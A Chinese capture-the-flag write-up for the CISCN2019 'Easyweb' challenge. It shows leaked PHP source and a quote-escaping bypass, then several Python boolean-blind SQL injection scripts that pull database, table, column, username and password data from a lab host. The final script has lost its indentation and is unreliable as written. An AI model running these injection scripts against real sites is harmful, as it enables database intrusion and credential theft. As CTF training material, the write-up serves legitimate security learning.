sql bool盲注

[CISCN2019 总决赛 Day2 Web1]Easyweb

考察:

robots.txt

image.php?bak文件泄露,image.php.bak可以下载别的不大行

盲注

php日志挂马

<?=可以绕过检测

初步工作

进入8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/robots.txt

Disallow: *.php.bak

对暴露的php文件进行测试，

user.php,image.php.bak

image.php.bak存在，得到源码如下。

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>

分析源码

addslashes()函数，这个函数会把特殊的字符转义。

比如:单引号会被转义成\',斜杠会转义为\\.

第十行的str_replace会把"\\0","%00","\\'","'"中的任意一个替换成空。

我们可根据这个绕过当传入id=\\0时，就会在查询语句处改变sql语句。

即:select * from images where id=' \' or path='+{$path}'

所以我们可以在path处注入我们的新语句，

由于没有查询结果回显，所以此处是盲注。

正式编写脚本

编脚本就很累了，写的水平垃圾的一，写了好久。

爆数据库名长度。

其实这一步可以不用的，就是测验自己的理论，加上学习。

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="

for i in range(30):
    payload = "if(length(database())=%d,1,-1)%%23" % (i)
    #print(url+payload)
    r = requests.get(url+payload)
    if b"JFIF" in r.content :
        print(i)

爆数据库名字

为:ciscnfinal

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last = "tmp" #用于判断可不可以终止
i = 0

while( result != last ):
	i = i + 1 
	head=32
	tail=127
	while( head < tail ):
		mid = (head + tail) >> 1
		payload = "if(ascii(substr(database(),%d,1))>%d,1,-1)%%23"%(i,mid)
		# print(url+payload)
		r = requests.get(url+payload)

		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid
	
	last = result
	
	if chr(head)!=" ":
		result += chr(head)
	print(result)

爆数据表的表名

记得看一下名字里包不包括源码泄露的images表，可以作为你的脚本正确性验证。

有: images,users

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
    
	i=i+1
	head=32
	tail=127
	while head < tail :

		mid = ( head + tail ) >> 1
		payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
		#print(url+payload)
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid
            
	last = result
	if chr(head)!=' ' :
		result += chr(head)
	print(result)

爆数据表的列

爆列的时候注意，因为过滤了双单引号，且我们没有函数了，所以此时要把表明转成16进制

hex(“users”) = 0x7573657273

为:username,password

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
	i=i+1
	head=32
	tail=127

	while( head < tail ):

		mid = ( head + tail ) >> 1

		payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid)
		
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid

	last = result
	if(chr(head)!=' '):
		result += chr(head)
	print(result)

爆username字段

admin

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
	i=i+1
	head=32
	tail=127

	while( head < tail ):

		mid = ( head + tail ) >> 1

		payload = "if(ascii(substr((select group_concat(username) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid)
		
		r = requests.get(url+payload)
		if b"JFIF" in r.content :
			head = mid + 1
		else:
			tail = mid

	last = result
	if(chr(head)!=' '):
		result += chr(head)
	print(result)

爆username字段password

import requests
import time

url = "http://e90944d1-1737-46ec-a95c-5502fffc68f6.node3.buuoj.cn/image.php/"
# payload = {
# "id":"",
# #"password":""
# }
result = ""
for i in range(1,50):
time.sleep(0.01)
l = 32
r =128
mid = (l+r)>>1
while(l<r):
payload = url+"?id=\\\\0"+"&path=or 1="+"(ascii(substr((select group_concat(password) from users),{0},1))>{1})%23".format(i,mid)
html = requests.get(url=payload)#data=payload
#print(payload)
if b'JFIF' in html.content:
l = mid+1
else:
r = mid
mid = (l+r)>>1
# if(chr(mid)==" "):
# break
result = result + chr(mid)
print(result)
print("flag: " ,result)

huhuf6